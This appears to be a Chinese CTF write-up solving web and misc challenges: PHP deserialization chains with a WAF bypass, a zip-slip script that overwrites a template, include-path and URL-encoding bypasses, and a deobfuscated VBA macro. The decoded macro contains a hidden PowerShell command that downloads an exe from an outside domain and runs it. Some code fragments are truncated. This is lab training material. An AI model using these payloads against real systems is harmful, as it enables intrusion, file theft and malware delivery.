web

贪吃蛇

image.png
有点难玩,直接看源代码
重点代码片段

function submitScore(finalScoreValue) {
            fetch('api.php', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({score: finalScoreValue})
            })
            .then(function(resp) { return resp.json(); })
            .then(function(data) {
                rewardPanel.style.display = 'block';
                if (data.success) {
                    rewardPanel.innerHTML = '🏆 隐藏奖励解锁!
' + data.message; } else { rewardPanel.innerHTML = data.message; } }) .catch(function() { rewardPanel.style.display = 'block'; rewardPanel.innerHTML = '成绩提交失败,请稍后再试'; }); }

我们向api.php发送POST请求{"score":"999999999999999"}即可拿到flag

php反序列

role === 'admin') {
            echo '

反序列化成功!

'; echo '

' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '

'; } } } $message = ''; $object = null; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $payload = $_POST['payload'] ?? ''; if ($payload === '') { $message = 'payload 不能为空'; } else { $object = unserialize($payload); if ($object instanceof AuditTicket) { $message = '对象恢复成功'; } else { $message = '反序列化失败'; } } } highlight_file(__FILE__); ?>

脚本

消消乐

image.png
游戏不算难可以直接玩出来
查看源代码
image.png

数据来源


下面会用到他

var hex = cfg.dataset.v.substr(2);   // 丢掉 "07"
// hex = "31626d648f81d06d6ce180ba733b9b0f"  (32 位 = 16 字节)

这里可以直接在控制台得到输出
image.png

逐字节 XOR 解密(密钥 = 0x37)

var key = 0x37;                         // 固定密钥(十进制 55)
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
    bytes.push(parseInt(hex.substr(i, 2), 16) ^ key);
}
31^37=06  62^37=55  6d^37=5a  64^37=53
8f^37=b8  81^37=b6  d0^37=e7  6d^37=5a
6c^37=5b  e1^37=d6  80^37=b7  ba^37=8d
73^37=44  3b^37=0c  9b^37=ac  0f^37=38

解密出的 16 个字节:06 55 5a 53 b8 b6 e7 5a 5b d6 b7 8d 44 0c ac 38
再套flag壳

var result = String.fromCharCode(102,108,97,103,123) + hash + String.fromCharCode(125);

fromCharCode 逐个转字符:

字符
102 f
108 l
97 a
103 g
123 {
125 }
"flag{" + hash + "}"

guess

/memo查看备忘文件

备忘卡片

comet archive initialized

核心变量已进入渲染上下文,但默认模板不会展示。

/status
image.png

/theme
image.png
文件上传
尝试上传一个正常的符合要求的.zip,回显得到id
但是/status里提示的目录都是404...
我们大概能猜到/memo是/app/templates/memo.html
上传一个简单的memo.html测试

{{ 7*7 }}

可是/memo没反应
据说zip解压有一个古老的坑
解压过程中文件名可能会被直接拼接到路径中,造成路径穿越漏洞
但是windows的文件名不允许有/
借助pyhton脚本

import zipfile

with zipfile.ZipFile("theme.zip", "w") as z:
    z.writestr("manifest.txt", "name=x\n")
    z.writestr("../../../templates/memo.html", "
{{flag}}
")

上传后访问/memo拿到flag

打赏

image.png
打赏后拿到假flag
查看源代码

// 自定义你的flag
        const flag = "flag{Fake_Pay_No_Money_2026_HTML}";
        function showFlag() {
            let emailVal = document.getElementById("mail").value;
            //不校验真实邮箱、无支付流程
            if (emailVal.length > 0) {
                alert("模拟支付成功,无需真实转账!\n你的flag:" + flag);
            } else {
                alert("邮箱框随便输入任意字符即可模拟支付拿flag");
                //QD2AHXMGSJMMG2NM
            }
        }

下面有一个加密的注释,尝试解密
这里真搓不出来,问了ds是先首位反转再base32解码
image.png
访问ctf123.php

Welcome";

function stop($msg) {
    die(htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . "
\n"); } $role = $_COOKIE['role'] ?? 'guest'; if ($role !== 'auditor') { stop('第一关:你还不是 auditor'); } echo "第一关通过
\n"; $route = $_GET['route'] ?? ''; if (preg_match('/admin/i', $route)) { stop('第二关:检测到敏感路由 admin'); } $route = urldecode($route); if ($route !== 'admin/panel') { stop('第二关:没有进入管理路由'); } echo "第二关通过
\n"; echo "恭喜通关!
\n"; echo htmlspecialchars($flag, ENT_QUOTES, 'UTF-8'); ?>

第一关

Cookie: role=auditor

第二关把admin双重url编码

/ctf123.php?route=%2561%2564%256d%2569%256e%2Fpanel

拿到flag

安全笔记

image.png
登陆后多了一行字

Maintenance note
Debug output was limited before release. Remember to remove old diagnostics.

维护说明:发布前限制了调试输出。请记得删除旧的诊断信息

点击检查环境

{
  "shiro_version": "1.7.1",
  "jdk_version": "1.8.0_492",
  "profile": "basic",
  "trace": "env.basic",
  "notice": "旧版环境导出器仍然支持维护动作",
  "hint": "如果你使用的是旧版调试控制台,可以试试 action=help"
}

MiniSite

image.png
右上角三个功能分别访问
/?f=home.php
image.png
/?f=about.php
image.png
/?f=source.php
提示:index.php 的完整源码 —— 仔细看看 FileGuard 是怎么校验的。
Hint: 校验通过后,include 用的是哪个变量?它和校验时看到的一样吗?
Mini Site · 有些文件不在白名单里,也不在 web 根目录下







MiniSite 





CTF Web · Medium

Can you find
the secret?

一个用 PHP include 搭建的迷你站点。看起来只有三个页面,但总有些文件不该出现在白名单里……

🛡

FileGuard 白名单

所有文件请求都要经过三层校验。看起来无懈可击?
查看源码 →

🔎

信息收集

页面的 HTML 注释、source.php 的高亮里,藏着进入下一关的线索。

🚪

绕过校验

校验和执行,用的是同一个值吗?
仔细看看 include 的参数。

guest@minisite
guest@minisite:~$ curl "http://localhost/?f=home.php" <h1>Home</h1> ... welcome to mini site. guest@minisite:~$ curl "http://localhost/?f=../../etc/passwd" you can't see it guest@minisite:~$
Mini Site · PHP File Include Challenge · flag is not where you think

这个/sssseeeeccccrrrrreeeetttt不知道干嘛的,访问不了,f传参也不行
继续往下看看吧

  1. 直接匹配 whitelist → 返回 true
  2. 带 # 截断后匹配 → 返回 true
  3. URL 解码后再匹配 → 返回 true
  4. 都没匹配到 → 返回 false
    我们尝试使用#截断配合路径穿越
/?f=source.php%23/../about.php

成功穿越到about.php
去看看/sssseeeeccccrrrrreeeetttt
最终payload

/?f=source.php%23/../../../../sssseeeeccccrrrrreeeetttt

flag就在这里

cryweb

image.png
测试了ctfer 0 admin null 找不到规律也没找到解密方法

魔法导入器

image.png
查看源代码
/?source

path && file_exists($this->path)) {
            return file_get_contents($this->path);
        }
        return "[文件未找到]";
    }
}

class Welcome
{
    public $user;

    public function __destruct()
    {
        echo "
再见," . $this->user . "!
"; } } class Profile { public $name; public $bio; public function __wakeup() { if (strlen($this->name) > 30) { $this->name = substr($this->name, 0, 30); } if (strlen($this->bio) > 200) { $this->bio = substr($this->bio, 0, 200); } } } function validate_serialized($data) { $rules = [ '/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)', '/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类', ]; foreach ($rules as $pattern => $msg) { if (preg_match($pattern, $data)) { return [false, $msg]; } } return [true, '验证通过']; } // Source code view if (isset($_GET['source'])) { highlight_file(__FILE__); exit; } // Logic $result = ''; $error = ''; $destruct_output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) { $raw = trim($_POST['data']); list($ok, $msg) = validate_serialized($raw); if (!$ok) { $error = $msg; } else { $obj = @unserialize($raw); if ($obj === false && $raw !== 'b:0;') { $error = '反序列化失败:格式无效'; } else { $result = '导入成功!对象类型:' . get_class($obj); // Force __destruct() NOW so output is visible on page ob_start(); $obj = null; $destruct_output = ob_get_clean(); } } } $demo = new Profile(); $demo->name = 'Alice'; $demo->bio = 'CTF Player'; $export = serialize($demo); ?>

观察发现我们应该用FileViewer的__toString方法读取文件
但是这个方法只是return,没有输出
正好我们借助Welcome的魔术方法__destruct输出,还可以触发__toString

path && file_exists($this->path)) {
            return file_get_contents($this->path);
        }
        return "[文件未找到]";
    }
}

class Welcome
{
    public $user;

    public function __destruct()
    {
        echo "
再见," . $this->user . "!
"; } } $demo = new Welcome(); $demo->user = new FileViewer(); $demo->user->path = "/etc/passwd"; #这里可以改成你想要读取的文件路径 $export = serialize($demo); echo $export; ?>

可以读取文件了,但是过滤比较严格
看到还有一个类没用上

class Profile
{
    public $name;
    public $bio;

    public function __wakeup()
    {
        if (strlen($this->name) > 30) {
            $this->name = substr($this->name, 0, 30);
        }
        if (strlen($this->bio) > 200) {
            $this->bio = substr($this->bio, 0, 200);
        }
    }
}

可以帮助我们处理字符长度
但是题目逻辑是先进行过滤再反序列化
思考能不能直接绕过过滤,尝试在序列化字符串中加入"破坏正则判断,同时搭配路径穿越
好消息是

/etc/../1"/../flag

确实没有触发waf
坏消息是回显文件未找到,同样的方法读取/etc/passwd也是文件未找到
原理回头再研究
正确思路是
正则waf只匹配了小写x,放过了大写S
大写 S: 表示字符串中可用 \xx(两位十六进制)转义字节
把 flag 的 f(0x66)写成 \66,即 S:5:"/\66lag"
最终payload

O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";S:5:"/\66lag";}}

好了,现在看看为什么路径穿越的方法不行
之前就在windows和linux上做过实验
其实是可以实现路径穿越的
唯一不同就是windows可以一个引号/1"/../穿越
但linux必须要闭合引号才会执行/1""/../
问下ai

你的 cd(逻辑) 服务器 file_get_contents(物理)
谁解析 .. bash 在字符串层面折叠 内核逐组件查目录
X/.. 要求 X 存在吗 不要求(先折叠掉) 要求(查不到就 ENOENT)
" 去哪了 被 shell 吃掉,变 1 PHP 字符串里的真实字节,成文件名
原来这样吗
可惜linux默认没有文件名包含"的文件,不然还能操作一下
此路不通

预言三问

image.png
得x=78
设置cookie=78
回显

预言家,现在的交流方法不太安全,改成一个安全的方式吧。而且你是知道女祭司和预言家是一对的,别忘用英语写在数据里哦。

抓包看看
没东西啊,难道说?
POST传参
priestess=prophet
提示要管理员等于一
再get传参?admin=1
拿到flag....

misc

letter

image.png
image.png
全是200C和200B
脚本如下

data = open(r'E:\firefox\letter\letter.txt', encoding='utf-8').read().rstrip('\n')
bits = ''.join('0' if c == '\u200b' else '1' for c in data if c in '\u200b\u200c')
print(''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)))

deploy-2

还原 docm 宏里混淆的 PowerShell 命令,得到下载 payload 的完整 URL。

下载了.docm文件,我们改后缀为.zip
image.png
查看.bin文件

D0 CF 11 E0 A1 B1 1A E1                                                                                                                        VBA_Project_Payload_v1_GreyLynxAttribute VB_Name = "Module1"
' GreyLynx payroll update bootstrap
' NOTE: string below is encoded: base64(XOR 0x23(payload))
Sub AutoOpen()
    Dim enc As String
    enc = "U0xURlFQS0ZPTwMOTUxTAw5UA0tKR0dGTQMOQAMBRkBLTAN4CX4DZFFGWm9aTVsDVlNHQldGA0FMTFdQV1FCUxgDSlRRA0tXV1MZDAxAR00NRFFGWk9KTVsOQExNUFZPV0pNRA1bWlkZGxMbEwxWU0dCV0YMUFVADUZbRgMObFZXZUpPRgMHRk1VGXdmbnN/UFVADUZbRhgDUFdCUVcDB0ZNVRl3Zm5zf1BVQA1GW0YB"
    Dim ps As String
    ps = DecodeXor(enc)
    Shell ps, vbHide
End Sub

Function DecodeXor(s As String) As String
    ' decode chain: Base64 decode, then XOR each byte with 0x23
    DecodeXor = s
End Function

简单加密
image.png

powershell -nop -w hidden -c "echo [*] GreyLynx update bootstrap; iwr http://cdn.greylinx-consulting.xyz:8080/update/svc.exe -OutFile $env:TEMP\svc.exe; start $env:TEMP\svc.exe"

flag是cdn.greylinx-consulting.xyz:8080/update/svc.exe不包括http:

deploy-3

C2 服务器的 IP:端口。

image.png
wireshark打开
过滤流量

http.request.method == POST and http.request.uri contains "gate.php"

image.png
发现destination是203.0.113.45
其实这就是外联的c2服务器的ip
继续往下翻还有域名和端口
image.png
不过做的时候我是右键-FOLLOW-http stream
image.png
只拿到了域名和端口
然后去找dns的解析记录

dns.qry.name contains "c2.greylinx-consulting.xyz"

image.png
image.png

星辰科技

扫目录扫到robots.txt就好做了

"

原文地址: http://www.cveoy.top/t/topic/qHvh 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录